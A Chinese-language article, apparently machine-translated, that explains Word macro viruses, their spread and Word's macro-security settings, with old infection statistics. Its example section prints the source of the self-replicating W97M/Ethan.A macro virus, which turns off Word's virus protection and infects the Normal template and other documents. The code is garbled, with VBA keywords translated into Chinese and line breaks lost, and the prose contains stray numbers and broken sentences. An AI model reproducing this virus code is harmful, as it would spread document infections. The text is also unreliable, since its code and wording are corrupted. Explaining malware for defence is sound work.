什么是宏病毒以及如何在电子表格中将其删除？

Macro是2113Word中非常有用的工具，但它也是Word的全部5261漏洞之一. 一些恶意的人使用Macro 1653来创建宏病毒，从而给其他人带来麻烦. 宏病毒是存储在文档或模板宏中的计算机病毒. 打开此类文档后，宏病毒将被激活，传输到计算机并驻留在“普通”模板上. 从那时起，所有自动保存的文档将被此宏病毒“感染”，并且如果另一个用户打开被感染的文件，该宏病毒将被传输到他的计算机. 1宏病毒宏病毒已成为增长最快和传播最快的病毒. 国际计算机安全协会的ICSA 1998病毒流行病ICSA显示，宏病毒占1998年排名前十位的病毒感染的72％，并且占排名前十位的病毒中的五个席位: WM / Concept，WM / Cap，WM / Wazzu，WM / Npad和XM / Laroux. 根据Data-Fellow每日签名升级后的F-Macro检测到的宏病毒数量，该病毒在1998年12月达到3,332，而在1997年12月为1,821，增长率为83.0％. 此外，F-Macro无法检测所有宏病毒. 1998年12月，出现了由VicodinES编写的Word Class Object宏病毒.

1.1宏病毒许多应用程序允许某些宏包含在用户的中. 随着应用软件的发展，宏语言的功能越来越强大，其中Microsoft Word Visual Basic for Application（VBA）已成为应用软件宏语言的标准. 使用宏语言，几乎可以实现所有操作，并且可以实现应用程序软件不具备的某些功能. 每个模板或数据文件都可以包含宏命令. 有许多应用程序允许用户使用宏来修改软件菜单的功能，并可以向菜单中添加某个宏或将其设置为自动运行. 使用此功能，宏可以修改软件本身的功能，从而将软件本身修改为病毒传播的来源. 宏病毒是一些使用Word VBA编写的宏. 这些宏可以自动运行，干扰用户的工作，范围从降低工作效率到破坏文件，并导致用户蒙受巨大损失. 打开包含宏病毒的文档后，将执行其中的宏，因此该宏病毒将被激活，传输到计算机并驻留在Normal模板上. 从那时起，所有自动保存的文档将被此宏病毒“感染”，并且如果另一个用户打开被感染的文件，该宏病毒将被传输到他的计算机. 宏病毒已成为传播速度最快的病毒，其原因有以下三个: 首先什么是宏病毒，用户现在对可执行文件病毒和引导扇区病毒有了相对一致的了解，并且在预防和控制这些病毒方有一定的经验. 许多公司3.企业对可执行文件和磁盘的交换有严格的规定.

但是，关于宏病毒危害的知识还不够，现在的主要工作是交换数字文件，以使宏病毒迅速传播. 其次，当前的病毒检查和防病毒软件主要设计用于可执行文件和磁盘引导区域. 通常，假定数据文件中没有病毒，并且人们相信病毒检查软件的结论，因此将其隐藏在数据文件中. 其中的病毒变成了网中的鱼. 第三什么是宏病毒，CD-ROM和Interenet大大加速了病毒的传播. 如果文档包含宏病毒，则说该文档感染了宏病毒；如果Word系统中的模板包含宏病毒，则可以说Word系统感染了宏病毒. Word 2000无法扫描软盘，硬盘驱动器或网络驱动器上的宏病毒（要获得此保护，您需要购买并安装特殊的防病毒软件）. 但是，当打开包含可能带有病毒的宏的文档时，它会显示宏警告消息. 这样，您可以选择在打开文档时是否包括宏. 如果希望文档包含要使用的宏（例如，组织使用的订单），则在打开文档时会包含该宏. 如果您不想在文档中包含宏，或者不知道文档的确切来源. 例如，文档是作为电子邮件的附件接收的，或者来自网络或不安全的Internet节点. 在这种情况下，为了防止可能的病毒感染，最好在打开文档的过程中出现宏警告提示时选择[取消宏]. 安装Word软件包后，系统将包含用于宏病毒防护的选项. 默认状态是允许[宏病毒防护]复选框.

如果需要，可以停止系统检查文档宏病毒. 当Word显示宏病毒警告消息时，清除[打开带有宏或自定义内容的文档时询问]复选框. 或关闭宏检查: 单击[工具]菜单中的[宏]命令，然后从级联菜单中选择[安全]命令，出现[安全]对话框，选择[安全级别]选项卡并进行设置安全等级设置为[无]. 但是，通常建议用户不要取消宏病毒保护功能，否则他们将失去抵御宏病毒的天然屏障. 1.2宏病毒示例为了更好地理解宏病毒，我们仔细分析了宏病毒W97M / Ethan.A. 以下是该病毒的代码. 私人子Document_Close（）错误继续恢复时Nexts = ActiveDocument.SavedApplication.EnableCancelKey = Not -1，带选项: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End WithRandomizeIf Dir（“ c: \ ethan .___”，6 ）=“”然后打开“ c: \ ethan .___”输出为#1对于i = 1到MacroContainer.VBProject.VBComponents.Item（1）.CodeModule.CountOfLinesa = MacroContainer.VBProject.VBComponents.Item（1）.CodeModule. 行（i，1）打印#1，下一个iClose#1SetAttr“ c: \ ethan .___”，6End IfIf Dir（“ c: \ class.sys”）<>“”然后杀死“ c: \ class.sys”如果NormalTemplate.VBProject.VBComponents.Item（1）.CodeModule.Lines（1，1）<>“ P​​rivate SubDocument_Close（）”然后设置t = NormalTemplate.VBProject.VBComponents.Item（1）ElseIf ActiveDocument.VBProject.VBComponents.Item（ 1）.CodeModule.Lines（1，1）<>“ P​​rivate SubDocument_Close（）”然后，设置t = ActiveDocument.VBProject.VBComponents.Item（1）Elset =“”如果If <>，则结束“”然后打开“ c: \ ethan. ___“输入为#1如果LOF（1）= 0，则GoTo qi = 1，而没有EOF（1）输入#1，at.CodeModule.InsertLines i，ai = i + 1Loopq: Close#1如果Rnd <0.3然后使用对话框（wdDialogFileSummaryInfo）: .Title =“ EthanFrome”: .Author =“ EW / LN / CB”: .Keywords =“ Ethan”: .Execute: End WithIf Left（ActiveDocument.Name，8）<>“ Document” ThenActiveDocument.SaveAsFileName: = ActiveDocument.FullNameEnd如果IfActiveDocument.Saved <> s然后ActiveDocument.Saved = sEnd Sub W97M / Ethan.A这是一种寄生宏病毒，由可以感染Word系统中文档和模板的宏组成.

在感染过程中，W97M / Ethan.A使用一种特殊算法将病毒代码从其源文件传输到主机文件，并且以VBA代码形式存储的病毒程序存储在源文件中. 一旦感染成功，W97M / Ethan.A将删除其自己的相关文件，隐藏跟踪，并感染所有访问的Word文件. 在被感染的Word文件中，该文件属性被病毒更改的可能性约为30％，其标题将更改为“ Ethan Frome”，而作者将更改为“ EW / LN / CB”. 如果发现上述特征，则表明该文档已被W97M / Ethan.A宏病毒感染. 当操作受感染文档时，可能会出现以下问题: （1）存储文档时，它们不能以Word文档格式存储，而只能以Word模板格式存储. （2）打开文档时，Word系统将要求用户输入密码以打开文档，否则无法访问该文件. （3）删除宏病毒后，您仍然看不到Word系统中的某些命令或选项，它们可能已被宏病毒删除. 资料来源: 中国信用财富网

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-251354-1.html